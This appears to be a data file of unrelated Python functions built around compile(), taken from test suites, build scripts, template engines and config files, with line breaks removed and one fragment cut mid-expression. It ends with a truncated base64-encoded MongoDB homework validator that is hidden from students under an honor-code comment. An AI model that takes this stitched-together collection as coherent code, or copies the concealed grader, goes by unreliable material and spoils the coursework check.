def gen_href(cur, topcoder): global testcase_crawled id_pairs = get_id_pair(cur) c = 0 for c_id, p_id in id_pairs: print c_id, p_id url = problem_detail_url % (c_id, p_id) c += 1 if c % 50 == 0: topcoder.login() try: page = topcoder.get_page(url) except Exception, e: print c_id, p_id, e continue #import pdb #pdb.set_trace() p = compile('<td class="statText">Top Submission</td>[\d\D]*?</tr>') divs = p.findall(page) testcase_crawled = False for div in divs: p = compile('<td class="statText" align="right">[\d\D]*?</td>') tds = p.findall(div) for i in xrange(4): gen_solution(cur, tds[i], i, p_id)
def validate(self, document): """ Check input for Python syntax errors. """ # When the input starts with Ctrl-Z, always accept. This means EOF in a # Python REPL. if document.text.startswith('\x1a'): return try: if self.get_compiler_flags: flags = self.get_compiler_flags() else: flags = 0 compile(document.text, '<input>', 'exec', flags=flags, dont_inherit=True) except SyntaxError as e: # Note, the 'or 1' for offset is required because Python 2.7 # gives `None` as offset in case of '4=4' as input. (Looks like # fixed in Python 3.) index = document.translate_row_col_to_index(e.lineno - 1, (e.offset or 1) - 1) raise ValidationError(index, 'Syntax Error') except TypeError as e: # e.g. "compile() expected string without null bytes" raise ValidationError(0, str(e)) except ValueError as e: # In Python 2, compiling "\x9" (an invalid escape sequence) raises # ValueError instead of SyntaxError. raise ValidationError(0, 'Syntax Error: %s' % e)
def _importtestmodule(self): # We have to remove the __future__ statements *before* parsing # with compile, otherwise the flags are ignored. content = re.sub(_RE_FUTURE_IMPORTS, b'', self.content) new_mod = types.ModuleType(self.mod_name) new_mod.__file__ = six.text_type(self.fspath) if hasattr(self, '_transform_ast'): # ast.parse doesn't let us hand-select the __future__ # statements, but built-in compile, with the PyCF_ONLY_AST # flag does. tree = compile( content, six.text_type(self.fspath), 'exec', self.flags | ast.PyCF_ONLY_AST, True) tree = self._transform_ast(tree) # Now that we've transformed the tree, recompile it code = compile( tree, six.text_type(self.fspath), 'exec') else: # If we don't need to transform the AST, we can skip # parsing/compiling in two steps code = compile( content, six.text_type(self.fspath), 'exec', self.flags, True) pwd = os.getcwd() try: os.chdir(os.path.dirname(six.text_type(self.fspath))) six.exec_(code, new_mod.__dict__) finally: os.chdir(pwd) self.config.pluginmanager.consider_module(new_mod) return new_mod
def test_invalid_sum(self): pos = dict(lineno=2, col_offset=3) m = ast.Module([ast.Expr(ast.expr(**pos), **pos)]) with self.assertRaises(TypeError) as cm: compile(m, "<test>", "exec") if support.check_impl_detail(): self.assertIn("but got <_ast.expr", str(cm.exception))
def check_roundtrip(self, code1, filename="internal"): ast1 = compile(code1, filename, "exec", ast.PyCF_ONLY_AST) unparse_buffer = cStringIO.StringIO() unparse.Unparser(ast1, unparse_buffer) code2 = unparse_buffer.getvalue() ast2 = compile(code2, filename, "exec", ast.PyCF_ONLY_AST) self.assertASTEqual(ast1, ast2)
def test_compile_ast(self): fname = __file__ if fname.lower().endswith(('pyc', 'pyo')): fname = fname[:-1] with open(fname, 'r') as f: fcontents = f.read() sample_code = [ ['<assign>', 'x = 5'], ['<ifblock>', """if True:\n pass\n"""], ['<forblock>', """for n in [1, 2, 3]:\n print(n)\n"""], ['<deffunc>', """def foo():\n pass\nfoo()\n"""], [fname, fcontents], ] for fname, code in sample_code: co1 = compile(code, '%s1' % fname, 'exec') ast = compile(code, '%s2' % fname, 'exec', _ast.PyCF_ONLY_AST) self.assertTrue(type(ast) == _ast.Module) co2 = compile(ast, '%s3' % fname, 'exec') self.assertEqual(co1, co2) # the code object's filename comes from the second compilation step self.assertEqual(co2.co_filename, '%s3' % fname) # raise exception when node type doesn't match with compile mode co1 = compile('print(1)', '<string>', 'exec', _ast.PyCF_ONLY_AST) self.assertRaises(TypeError, compile, co1, '<ast>', 'eval') # raise exception when node type is no start node self.assertRaises(TypeError, compile, _ast.If(), '<ast>', 'exec') # raise exception when node has invalid children ast = _ast.Module() ast.body = [_ast.BoolOp()] self.assertRaises(TypeError, compile, ast, '<ast>', 'exec')
def Update_Fields_State(self): if self.fixed_range.checkState() == 2: for k,l in enumerate(["X_Start","X_End","Y_Start","Y_End"]): eval(compile("self.Display_Range_"+str(k)+".setEnabled(True)",'<string>','exec')) else: for k,l in enumerate(["X_Start","X_End","Y_Start","Y_End"]): eval(compile("self.Display_Range_"+str(k)+".setEnabled(False)",'<string>','exec'))
def test_subprocess_interaction(anypython): line = gateway_io.popen_bootstrapline compile(line, 'xyz', 'exec') args = [str(anypython), '-c', line] popen = subprocess.Popen(args, bufsize=0, universal_newlines=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE) def send(line): popen.stdin.write(line) if sys.version_info > (3,0) or sys.platform.startswith("java"): popen.stdin.flush() def receive(): return popen.stdout.readline() try: source = py.code.Source(read_write_loop, "read_write_loop()") repr_source = repr(str(source)) + "\n" sendline = repr_source send(sendline) s = receive() assert s == "ok\n" send("hello\n") s = receive() assert s == "received: hello\n" send("world\n") s = receive() assert s == "received: world\n" send('\n') # terminate loop finally: popen.stdin.close() popen.stdout.close() popen.wait()
def test_indentation(self): # testing compile() of indented block w/o trailing newline" s = """ if 1: if 2: pass""" compile(s, "<string>", "exec")
def prepare(self): if self.template: code = self.translate(self.template) self.co = compile(code, '<string>', 'exec') else: code = self.translate(open(self.filename).read()) self.co = compile(code, self.filename, 'exec')
def autocompile(ws, conf, env, **options): """Subcommand: autocompile -- automatically re-compiles when something in content-dir has changed and parallel serving files.""" CONF_PY = './conf.py' mtime = -1 cmtime = getmtime(CONF_PY) while True: ntime = max( max(getmtime(e) for e in readers.filelist(conf['content_dir']) if utils.istext(e)), max(getmtime(p) for p in readers.filelist(conf['layout_dir']))) if mtime != ntime: try: compile(conf, env, **options) except AcrylamidException as e: log.fatal(e.args[0]) pass event.reset() mtime = ntime if cmtime != getmtime(CONF_PY): log.info(' * Restarting due to change in %s' % (CONF_PY)) # Kill the webserver ws.shutdown() # Force compilation since no template was changed argv = sys.argv if options['force'] else sys.argv[:] + ["--force"] # Restart acrylamid os.execvp(sys.argv[0], argv) time.sleep(1)
def _create_action_method(self, i, action): # CM loading style action. Returns an object, such as a coord. exec compile('def _exec_action_%d(self, field, f, pp, grib, cm): return %s' % (i, action), '<string>', 'exec') # Make it a method of ours. exec 'self._exec_action_%d = types.MethodType(_exec_action_%d, self, type(self))' % (i, i) # Add to our list of actions. exec 'self._exec_actions.append(self._exec_action_%d)' % i
def _create_action_method(self, i, action): # PP saving style action. No return value, e.g. "pp.lbft = 3". exec compile('def _exec_action_%d(self, field, f, pp, grib, cm): %s' % (i, action), '<string>', 'exec') # Make it a method of ours. exec 'self._exec_action_%d = types.MethodType(_exec_action_%d, self, type(self))' % (i, i) # Add to our list of actions. exec 'self._exec_actions.append(self._exec_action_%d)' % i
def flow_text(context, width, line_height, text): """ Flow a block of text into the given width, returning when needed. """ still = compile(r'^\S') words = compile(r'^(\S+(\s*))(.*)$', DOTALL) CR, LF = '\r', '\n' text = text.replace(CR+LF, LF).replace(CR, LF) while still.match(text): match = words.match(text) head, space, text = match.group(1), match.group(2), match.group(3) head_extent = context.text_extents(head) head_width, x_advance = head_extent[2], head_extent[4] x, y = context.get_current_point() # will we move too far to the right with this word? if x + head_width > width: context.move_to(0, y + line_height) context.show_text(head) context.rel_move_to(x_advance, 0) # apply newline if necessary while LF in space: y = context.get_current_point()[1] context.move_to(0, y + line_height) space = space[1 + space.index(LF):]
def _compile_template(self, lang, input_path, output_path, no_html=False): try: # Create output directory self._create_dir(os.path.split(output_path)[0]) try: # Open input file code = codecs.open(input_path, 'r', 'utf-8').read() except UnicodeDecodeError, e: raise CompileException(0, 0, input_path, str(e)) # Compile if no_html: output = compile(code, loader=load_template_source, path=input_path, options=get_options_for_path(input_path) + ['no-html']) else: output = compile(code, loader=load_template_source, path=input_path, options=get_options_for_path(input_path)) # Open output file codecs.open(output_path, 'w', 'utf-8').write(output) # Delete -c-recompile file (mark for recompilation) if one such exist. if os.path.exists(output_path + '-c-recompile'): os.remove(output_path + '-c-recompile') return True
def prod(): """ Generate production files (call optimize then compile) """ optimize() compile()
def EVAL(ast, env): # try it as an expression then a statement try: return eval(ast) except SyntaxError: exec compile(ast, '', 'single') in globals() return None
def test_pack_float(self): def pack(x, size): result = [] ieee.pack_float(result, x, size, False) l = [] for x in result: for c in x: l.append(str(ord(c))) return ','.join(l) c_pack = compile(pack, [float, int]) def unpack(s): l = s.split(',') s = ''.join([chr(int(x)) for x in l]) return ieee.unpack_float(s, False) c_unpack = compile(unpack, [str]) def check_roundtrip(x, size): s = c_pack(x, size) if not isnan(x): # pack uses copysign which is ambiguous for NAN assert s == pack(x, size) assert unpack(s) == x assert c_unpack(s) == x else: assert isnan(unpack(s)) assert isnan(c_unpack(s)) for size in [2, 4, 8]: check_roundtrip(123.4375, size) check_roundtrip(-123.4375, size) check_roundtrip(INFINITY, size) check_roundtrip(NAN, size)
def compile_pages(self, pages): """Given a list of pages, replace the pages with objects. All dynamic resources compile the first two pages the same way. It's the third and following pages that differ, so we require subclasses to supply a method for that: compile_page. """ # Exec the first page and compile the second. # =========================================== one, two = pages[:2] context = dict() context['__file__'] = self.fs context['website'] = self.website one = compile(one.padded_content, self.fs, 'exec') exec one in context # mutate context one = context # store it two = compile(two.padded_content, self.fs, 'exec') pages[:2] = (one, two) # Subclasses are responsible for the rest. # ======================================== pages[2:] = (self.compile_page(page) for page in pages[2:]) return pages
def test_attributes(self): for feature in features: value = getattr(__future__, feature) optional = value.getOptionalRelease() mandatory = value.getMandatoryRelease() a = self.assertTrue e = self.assertEqual def check(t, name): a(isinstance(t, tuple), "%s isn't tuple" % name) e(len(t), 5, "%s isn't 5-tuple" % name) (major, minor, micro, level, serial) = t a(isinstance(major, int), "%s major isn't int" % name) a(isinstance(minor, int), "%s minor isn't int" % name) a(isinstance(micro, int), "%s micro isn't int" % name) a(isinstance(level, basestring), "%s level isn't string" % name) a(level in GOOD_SERIALS, "%s level string has unknown value" % name) a(isinstance(serial, int), "%s serial isn't int" % name) check(optional, "optional") if mandatory is not None: check(mandatory, "mandatory") a(optional < mandatory, "optional not less than mandatory, and mandatory not None") a(hasattr(value, "compiler_flag"), "feature is missing a .compiler_flag attr") # Make sure the compile accepts the flag. compile("", "<test>", "exec", value.compiler_flag) a(isinstance(getattr(value, "compiler_flag"), int), ".compiler_flag isn't int")
def main(): # Clean the build root. if os.path.exists(BUILD_ROOT): shutil.rmtree(BUILD_ROOT) # Create the build root. os.mkdir(BUILD_ROOT) os.mkdir(API_BUILD_ROOT) # Create the compiled js files. print("Compiling javascript...") compile((os.path.join(LIB_ROOT, "flowplayer", "flowplayer.js"), os.path.join(LIB_ROOT, "domready", "domready.js"), os.path.join(SRC_ROOT, "api", "html5media.js"),), os.path.join(API_BUILD_ROOT, "html5media.min.js")) # Copy over the Flowplayer resources. print("Copying SWF files...") shutil.copy(os.path.join(LIB_ROOT, "flowplayer", "flowplayer.swf"), os.path.join(API_BUILD_ROOT, "flowplayer.swf")) shutil.copy(os.path.join(LIB_ROOT, "flowplayer", "flowplayer.controls.swf"), os.path.join(API_BUILD_ROOT, "flowplayer.controls.swf")) shutil.copy(os.path.join(LIB_ROOT, "flowplayer.audio", "flowplayer.audio.swf"), os.path.join(API_BUILD_ROOT, "flowplayer.audio.swf")) # Copy over the license and readme files. print("Copying readme files...") shutil.copy(os.path.join(PROJECT_ROOT, "LICENSE"), os.path.join(API_BUILD_ROOT, "LICENSE")) shutil.copy(os.path.join(PROJECT_ROOT, "README.markdown"), os.path.join(BUILD_ROOT, "README")) # Copy over the demo page. print("Copying media files...") shutil.copytree(os.path.join(MEDIA_ROOT), os.path.join(MEDIA_BUILD_ROOT)) shutil.copyfile(os.path.join(SRC_ROOT, "index.html"), os.path.join(BUILD_ROOT, "index.html")) shutil.copyfile(os.path.join(SRC_ROOT, "test.html"), os.path.join(BUILD_ROOT, "test.html")) # Add the built api files to the CDN. print("Updating the CDN...") if os.path.exists(CDN_BUILD_ROOT): shutil.rmtree(CDN_BUILD_ROOT) shutil.copytree(API_BUILD_ROOT, os.path.join(CDN_BUILD_ROOT)) # Update the CDN version number. with open(CDN_APP_YAML, "r", encoding="utf-8") as handle: app_yaml = handle.read() app_yaml = re.sub("^version: .+$", "version: {}".format(API_VERSION.replace(".", "-")), app_yaml, 0, re.MULTILINE) with open(CDN_APP_YAML, "w", encoding="utf-8") as handle: handle.write(app_yaml) # Create the demo page. print("Creating the demo page...") if os.path.exists(HTML_ROOT): shutil.rmtree(HTML_ROOT) os.mkdir(HTML_ROOT) copy_html(os.path.join(BUILD_ROOT, "index.html"), os.path.join(HTML_ROOT, "index.html")) copy_html(os.path.join(BUILD_ROOT, "test.html"), os.path.join(HTML_ROOT, "test.html")) # Compile complete! print("Compile complete!")
def interpret(code_text): if not DO_PYTHON: return "I'm not doing Python.", "" saved_stdout = sys.stdout saved_stderr = sys.stderr output = StringIO.StringIO() trace = "" try: sys.stdout = output sys.stderr = output tree = ast.parse(code_text, "<your input>") code1 = code2 = None if tree.body and isinstance(tree.body[-1], ast.Expr): last_line = ast.Interactive(tree.body[-1:]) tree.body = tree.body[:-1] code2 = compile(last_line, "<your input>", "single") if tree.body: code1 = compile(tree, "<your input>", "exec") if code1: exec code1 in NOTEBOOK_GLOBALS if code2: exec code2 in NOTEBOOK_GLOBALS except Exception, KeyboardInterrupt: trace = traceback.format_exc()
def Use(name): # print(dir(sys.modules['solidpy'])); exit() if name.endswith(".solid.py"): with open(name) as f: code = compile(f.read(), name, "exec") exec(code, script_globals) # , script_locals) elif name.endswith(".scad"): Defaults.includeFiles.append(name) else: import imp try: fname = imp.find_module(name)[1] except: try: fname = imp.find_module(name + ".solid")[1] except: fname = imp.find_module(name + "/" + name + ".solid")[1] if fname is None: code = "from " + name + " import *" exec(code, script_globals) # , script_locals) else: with open(fname) as f: code = compile(f.read(), fname, "exec") exec(code, script_globals) # , script_locals)
def mod(self, mod, msg=None, mode="exec", *, exc=ValueError): mod.lineno = mod.col_offset = 0 ast.fix_missing_locations(mod) with self.assertRaises(exc) as cm: compile(mod, "<test>", mode) if msg is not None: self.assertIn(msg, str(cm.exception))
def execfile_(filepath, _globals): from sphinx.util.osutil import fs_encoding # get config source -- 'b' is a no-op under 2.x, while 'U' is # ignored under 3.x (but 3.x compile() accepts \r\n newlines) f = open(filepath, 'rbU') try: source = f.read() finally: f.close() # py25,py26,py31 accept only LF eol instead of CRLF if sys.version_info[:2] in ((2, 5), (2, 6), (3, 1)): source = source.replace(b('\r\n'), b('\n')) # compile to a code object, handle syntax errors filepath_enc = filepath.encode(fs_encoding) try: code = compile(source, filepath_enc, 'exec') except SyntaxError: if convert_with_2to3: # maybe the file uses 2.x syntax; try to refactor to # 3.x syntax using 2to3 source = convert_with_2to3(filepath) code = compile(source, filepath_enc, 'exec') else: raise exec(code, _globals)
def test_invalid_string(self): m = ast.Module([ast.Expr(ast.Str(42))]) ast.fix_missing_locations(m) with self.assertRaises(TypeError) as cm: compile(m, "<test>", "exec") if support.check_impl_detail(): self.assertIn("string must be of type str or uni", str(cm.exception))
def test_empty_yield_from(self): # Issue 16546: yield from value is not optional. empty_yield_from = ast.parse("def f():\n yield from g()") empty_yield_from.body[0].body[0].value.value = None with self.assertRaises(ValueError) as cm: compile(empty_yield_from, "<test>", "exec") self.assertIn("field value is required", str(cm.exception))
def function(self): code = "_lam = lambda %s: %s"%(",".join(self.arguments),self.return_expr) print "code:", code result = {} exec compile(code, '<string>', 'exec') in result print "result", result["_lam"] return result["_lam"]
def test_invalid_identitifer(self): m = ast.Module([ast.Expr(ast.Name(42, ast.Load()))]) ast.fix_missing_locations(m) with self.assertRaises(TypeError) as cm: compile(m, "<test>", "exec") if support.check_impl_detail(): self.assertIn("identifier must be of type str", str(cm.exception))
def importorskip(modname, minversion=None): """ return imported module if it has at least "minversion" as its __version__ attribute. If no minversion is specified the a skip is only triggered if the module can not be imported. """ __tracebackhide__ = True compile(modname, '', 'eval') # to catch syntaxerrors should_skip = False try: __import__(modname) except ImportError: # Do not raise chained exception here(#1485) should_skip = True if should_skip: raise Skipped("could not import %r" %(modname,), allow_module_level=True) mod = sys.modules[modname] if minversion is None: return mod verattr = getattr(mod, '__version__', None) if minversion is not None: try: from pkg_resources import parse_version as pv except ImportError: raise Skipped("we have a required version for %r but can not import " "pkg_resources to parse version strings." % (modname,), allow_module_level=True) if verattr is None or pv(verattr) < pv(minversion): raise Skipped("module %r has __version__ %r, required is: %r" %( modname, verattr, minversion), allow_module_level=True) return mod
def test_different_filenames(self): co1 = compile("x", "f1", "exec") co2 = compile("y", "f2", "exec") co1, co2 = marshal.loads(marshal.dumps((co1, co2))) self.assertEqual(co1.co_filename, "f1") self.assertEqual(co2.co_filename, "f2")
def test_empty(self): compile("", "<test>", "exec")
def test_compile_to_ast(self): import ast source = Source("x = 4") mod = source.compile(flag=ast.PyCF_ONLY_AST) assert isinstance(mod, ast.Module) compile(mod, "<filename>", "exec")
def _compile(source, filename, mode, flags=0, dont_inherit=False, optimize=-1): return compile(source, filename, mode, flags, dont_inherit, optimize)
c.NotebookApp.quit_button = False if os.environ.get('JUPYTERHUB_SERVICE_PREFIX'): c.NotebookApp.base_url = os.environ.get('JUPYTERHUB_SERVICE_PREFIX') ################## JUPYTERPG ################ # https://jupyter-notebook.readthedocs.io/en/latest/config.html#options tcKernelTimeout = int(os.environ.get('JUPYTERNB_KERNEL_TIMEOUT', '0')) c.NotebookApp.shutdown_no_activity_timeout = 3601 c.MappingKernelManager.cull_idle_timeout = tcKernelTimeout c.MappingKernelManager.cull_busy = False c.MappingKernelManager.cull_connected = True c.MappingKernelManager.cull_interval = 301 ############################################# password = os.environ.get('JUPYTER_NOTEBOOK_PASSWORD') if password: import notebook.auth c.NotebookApp.password = notebook.auth.passwd(password) del password del os.environ['JUPYTER_NOTEBOOK_PASSWORD'] image_config_file = '/opt/app-root/src/.jupyter/jupyter_notebook_config.py' if os.path.exists(image_config_file): with open(image_config_file) as fp: exec(compile(fp.read(), image_config_file, 'exec'), globals())
def main(argv=None): import getopt if argv is None: argv = sys.argv try: opts, prog_argv = getopt.getopt(argv[1:], 'tcrRf:d:msC:lTg', [ 'help', 'version', 'trace', 'count', 'report', 'no-report', 'summary', 'file=', 'missing', 'ignore-module=', 'ignore-dir=', 'coverdir=', 'listfuncs', 'trackcalls', 'timing']) except getopt.error as msg: sys.stderr.write('%s: %s\n' % (sys.argv[0], msg)) sys.stderr.write("Try `%s --help' for more information\n" % sys.argv[0]) sys.exit(1) trace = 0 count = 0 report = 0 no_report = 0 counts_file = None missing = 0 ignore_modules = [] ignore_dirs = [] coverdir = None summary = 0 listfuncs = False countcallers = False timing = False for opt, val in opts: if opt == '--help': usage(sys.stdout) sys.exit(0) if opt == '--version': sys.stdout.write('trace 2.0\n') sys.exit(0) if opt == '-T' or opt == '--trackcalls': countcallers = True continue if opt == '-l' or opt == '--listfuncs': listfuncs = True continue if opt == '-g' or opt == '--timing': timing = True continue if opt == '-t' or opt == '--trace': trace = 1 continue if opt == '-c' or opt == '--count': count = 1 continue if opt == '-r' or opt == '--report': report = 1 continue if opt == '-R' or opt == '--no-report': no_report = 1 continue if opt == '-f' or opt == '--file': counts_file = val continue if opt == '-m' or opt == '--missing': missing = 1 continue if opt == '-C' or opt == '--coverdir': coverdir = val continue if opt == '-s' or opt == '--summary': summary = 1 continue if opt == '--ignore-module': for mod in val.split(','): ignore_modules.append(mod.strip()) continue if opt == '--ignore-dir': for s in val.split(os.pathsep): s = os.path.expandvars(s) s = s.replace('$prefix', os.path.join(sys.prefix, 'lib', 'python' + sys.version[:3])) s = s.replace('$exec_prefix', os.path.join(sys.exec_prefix, 'lib', 'python' + sys.version[:3])) s = os.path.normpath(s) ignore_dirs.append(s) continue if listfuncs and (count or trace): _err_exit('cannot specify both --listfuncs and (--trace or --count)') if not (count or trace or report or listfuncs or countcallers): _err_exit('must specify one of --trace, --count, --report, --listfuncs, or --trackcalls') if report and no_report: _err_exit('cannot specify both --report and --no-report') if report and not counts_file: _err_exit('--report requires a --file') if no_report and len(prog_argv) == 0: _err_exit('missing name of file to run') if report: results = CoverageResults(infile=counts_file, outfile=counts_file) results.write_results(missing, summary=summary, coverdir=coverdir) else: sys.argv = prog_argv progname = prog_argv[0] sys.path[0] = os.path.split(progname)[0] t = Trace(count, trace, countfuncs=listfuncs, countcallers=countcallers, ignoremods=ignore_modules, ignoredirs=ignore_dirs, infile=counts_file, outfile=counts_file, timing=timing) try: with open(progname) as fp: code = compile(fp.read(), progname, 'exec') globs = {'__file__': progname, '__name__': '__main__', '__package__': None, '__cached__': None } t.runctx(code, globs, globs) except IOError as err: _err_exit('Cannot run file %r because: %s' % (sys.argv[0], err)) except SystemExit: pass results = t.results() if not no_report: results.write_results(missing, summary=summary, coverdir=coverdir) return
def parse(source, mode): return compile(source, '', mode, _ast.PyCF_ONLY_AST)
), ), 'items', ) for spec in [cluster.get('spec', {}) if cluster.get('spec', {}) is not None else {"error": "Invalid spec in manifest"}] for metadata in [cluster['metadata']] for namespace in [metadata['namespace']] for name in [metadata['name']] for uid in [metadata.get('uid', '')] ] return respond(postgresqls) # Note these are meant to be consistent with the operator backend validations; # See https://github.com/zalando/postgres-operator/blob/master/pkg/cluster/cluster.go # noqa VALID_SIZE = compile(r'^[1-9][0-9]{0,3}Gi$') VALID_CLUSTER_NAME = compile(r'^[a-z0-9]+[a-z0-9\-]+[a-z0-9]+$') VALID_DATABASE_NAME = compile(r'^[a-zA-Z_][a-zA-Z0-9_]*$') VALID_USERNAME = compile( r''' ^[a-z0-9]([-_a-z0-9]*[a-z0-9])?(\.[a-z0-9]([-_a-z0-9]*[a-z0-9])?)*$ ''', X, ) ROLEFLAGS = ''' SUPERUSER INHERIT LOGIN NOLOGIN CREATEROLE
import base64 # please don't decode this program. It's a violation of the honor code. code="CmltcG9ydCBweW1vbmdvCmltcG9ydCByYW5kb20KaW1wb3J0IHJlCmltcG9ydCBzdHJpbmcKaW1wb3J0IHN5cwppbXBvcnQgZ2V0b3B0CmltcG9ydCBwcHJpbnQKCiMgQ29weXJpZ2h0IDIwMTIKIyAxMGdlbiwgSW5jLgojIEF1dGhvcjogQW5kcmV3IEVybGljaHNvbiAgIGFqZUAxMGdlbi5jb20KIwojIElmIHlvdSBhcmUgYSBzdHVkZW50IGFuZCByZWFkaW5nIHRoaXMgY29kZSwgdHVybiBiYWNrIG5vdywgYmVmb3JlCiMgdGhlIE1vbmdvREIgZ29kcyBzbWl0ZSB5b3UuCgpjb25uZWN0aW9uID0gTm9uZQpkYiA9IE5vbmUKbW9uZ29zdHIgPSAibW9uZ29kYjovL2xvY2FsaG9zdDoyNzAxNyIKZGJfbmFtZSA9ICJhZG1pbiIKcnNfbmFtZSA9ICJtMTAxIgoKIyB0aGlzIHNjcmlwdCB3aWxsIGNoZWNrIHRoYXQgYSByZXBsaWNhIHNldCB3aXRoIHRocmVlIG5vZGVzIGlzIHJ1bm5pbmcgb24gYSBob3N0CgojIGNvbW1hbmQgbGluZSBhcmcgcGFyc2luZyB0byBtYWtlIGZvbGtzIGhhcHB5IHdobyB3YW50IHRvIHJ1biBhdCBtb25nb2xhYnMgb3IgbW9uZ29ocQojIHRoaXMgZnVuY3Rpb25zIHVzZXMgZ2xvYmFsIHZhcnMgdG8gY29tbXVuaWNhdGUuIGZvcmdpdmUgbWUuCmRlZiBhcmdfcGFyc2luZyhhcmd2KToKCiAgICBnbG9iYWwgd2ViaG9zdAogICAgZ2xvYmFsIG1vbmdvc3RyCiAgICBnbG9iYWwgZGJfbmFtZQoKICAgIHRyeToKICAgICAgICBvcHRzLCBhcmdzID0gZ2V0b3B0LmdldG9wdChhcmd2LCAiLXA6LW06LWQ6IikKICAgIGV4Y2VwdCBnZXRvcHQuR2V0b3B0RXJyb3I6CiAgICAgICAgcHJpbnQgInVzYWdlIHZhbGlkYXRlLnB5IC1tIG1vbmdvQ29ubmVjdFN0cmluZyIKICAgICAgICBwcmludCAiXHRtb25nb0Nvbm5lY3Rpb25TdHJpbmcgZGVmYXVsdCB0byB7MH0iLmZvcm1hdChtb25nb3N0cikKICAgICAgICBwcmludCAiXHRkYXRhYmFzZU5hbWUgZGVmYXVsdHMgdG8gezB9Ii5mb3JtYXQoZGJfbmFtZSkKICAgICAgICBzeXMuZXhpdCgyKQogICAgZm9yIG9wdCwgYXJnIGluIG9wdHM6CiAgICAgICAgaWYgKG9wdCA9PSAnLWgnKToKICAgICAgICAgICAgcHJpbnQgInVzYWdlIHZhbGlkYXRlLnB5IC1tIG1vbmdvQ29ubmVjdFN0cmluZyAtZCBkYXRhYmFzZU5hbWUiCiAgICAgICAgICAgIHN5cy5leGl0KDIpCiAgICAgICAgZWxpZiBvcHQgaW4gKCItbSIpOgogICAgICAgICAgICBtb25nb3N0ciA9IGFyZwogICAgICAgICAgICBwcmludCAiT3ZlcnJpZGluZyBNb25nb0RCIGNvbm5lY3Rpb24gc3RyaW5nIHRvIGJlICIsIG1vbmdvc3RyCiAgICAgICAgZWxpZiBvcHQgaW4gKCItZCIpOgogICAgICAgICAgICBkYl9uYW1lID0gYXJnCiAgICAgICAgICAgIHByaW50ICJPdmVycmlkaW5nIE1vbmdvREIgZGF0YWJhc2UgdG8gYmUgIiwgZGJfbmFtZQoKIyBnZXRzIHRoZSByZXBsaWNhIHNldCBzdGF0dXMKZGVmIGdldF9yc19zdGF0dXMoKToKICAgIGRiID0gY29ubmVjdGlvbi5hZG1pbgogICAgcnMgPSBkYi5jb21tYW5kKCJyZXBsU2V0R2V0U3RhdHVzIikKICAgIHJldHVybiBycwoKIyBnZXRzIHRoZSByZXBsaWNhIHN0YXRlIGNvbmZpZwpkZWYgZ2V0X3JzX2NvbmZpZ3VyYXRpb24oKToKICAgIGRiID0gY29ubmVjdGlvbi5sb2NhbAogICAgY29sbCA9IGRiLnN5c3RlbS5yZXBsc2V0CiAgICByZXR1cm4gY29sbC5maW5kX29uZSgpCgpkZWYgcmVwbF9zZXRfcnVubmluZyhudW1fbm9kZXMpOgoKICAgIHRyeToKICAgICAgICBycyA9IGdldF9yc19zdGF0dXMoKQogICAgICAgIGNvbmYgPSBnZXRfcnNfY29uZmlndXJhdGlvbigpCiAgICAgICAgaG9zdHMgID0gY29ubmVjdGlvbi5ob3N0cwogICAgZXhjZXB0OgogICAgICAgIHByaW50ICJjYW4ndCBxdWVyeSBNb25nb0RCLi5pcyBpdCBydW5uaW5nPyIKICAgICAgICByYWlzZQogICAgICAgIHJldHVybiBGYWxzZQoKICAgIGlmIChyc1snb2snXSAhPSAxKToKICAgICAgICBwcmludCAiU29ycnksIG9rIGlzIG5vdCAxIGZvciBycy5zdGF0dXMoKSIKICAgICAgICBwcmludCAiSGVyZSBpcyB3aGF0IEkgZ2V0OiIKICAgICAgICBwcCA9IHBwcmludC5QcmV0dHlQcmludGVyKGRlcHRoPTYpCiAgICAgICAgcHAucHByaW50KHJzKQogICAgICAgIHJldHVybiBGYWxzZQoKICAgIGlmIChsZW4ocnNbJ21lbWJlcnMnXSkgIT0gbnVtX25vZGVzKToKICAgICAgICBwcmludCAiU29ycnksIHRoZXJlIG5lZWQgdG8gYmUgdGhyZWUgbWVtYmVycyBvZiB0aGUgcmVwbGljYSBzZXQuIgogICAgICAgIHByaW50ICJoZXJlIGlzIHRoZSBtZW5iZXJzIGFycmF5IEkgc2VlIgoKICAgICAgICBwcCA9IHBwcmludC5QcmV0dHlQcmludGVyKGRlcHRoPTYpCiAgICAgICAgcHAucHByaW50KHJzWydtZW1iZXJzJ10pCiAgICAgICAgcmV0dXJuIEZhbHNlCiAgICAKICAgIHByaW50ICJMb29rcyBnb29kLiBSZXBsaWNhIHNldCB3aXRoIHRocmVlIG5vZGVzIHJ1bm5pbmciCiAgICByZXR1cm4gVHJ1ZQoKZGVmIGdyYWNlZnVsX2V4aXQoaSk6CiAgICBjb25uZWN0aW9uLmNsb3NlKCkKICAgIHN5cy5leGl0KGkpCgojIG1haW4gc2VjdGlvbiBvZiB0aGUgY29kZQpkZWYgbWFpbihhcmd2KToKICAgICAgICAgICAgCiAgICBhcmdfcGFyc2luZyhhcmd2KQogICAgZ2xvYmFsIGNvbm5lY3Rpb24KICAgIGdsb2JhbCBkYgoKICAgIHByaW50ICJXZWxjb21lIHRvIHRoZSBIVyA2LnggcmVwbGljYSBDaGVja2VyLiBNeSBqb2IgaXMgdG8gbWFrZSBzdXJlIHlvdSBzdGFydGVkIGEgcmVwbGljYSBzZXQgd2l0aCB0aHJlZSBub2RlcyIKCiAgICAjIGNvbm5lY3QgdG8gdGhlIGRiIChtb25nb3N0ciB3YXMgc2V0IGluIGFyZ19wYXJzaW5nKQogICAgdHJ5OgogICAgICAgIGNvbm5lY3Rpb24gPSBweW1vbmdvLlJlcGxpY2FTZXRDb25uZWN0aW9uKG1vbmdvc3RyLCByZXBsaWNhU2V0PXJzX25hbWUsIHNhZmU9VHJ1ZSkKICAgICAgICBkYiA9IGNvbm5lY3Rpb25bZGJfbmFtZV0KICAgIGV4Y2VwdDoKICAgICAgICBwcmludCAiY2FuJ3QgY29ubmVjdCB0byBNb25nb0RCIHJlcGxpY2EiLHJzX25hbWUsIiBzZXQgdXNpbmciLCBtb25nb3N0ciwgIi4gSXMgaXQgcnVubmluZz8iCiAgICAgICAgZXhpdCgyKSAgICAgIyBubyBncmFjZWZ1bCBleGl0IGlmIGl0IGlzIG5vdCBjb25uZWN0ZWQKICAgICAgICAKICAgIGlmIChub3QgcmVwbF9zZXRfcnVubmluZygzKSk6CiAgICAgICAgcHJpbnQgIlNvcnJ5LCB0aGUgcmVwbGljYSBzZXQgZG9lcyBub3Qgc2VlbSB0byBiZSBydW5uaW5nIgogICAgICAgIGdyYWNlZnVsX2V4aXQoMSkKICAgIAogI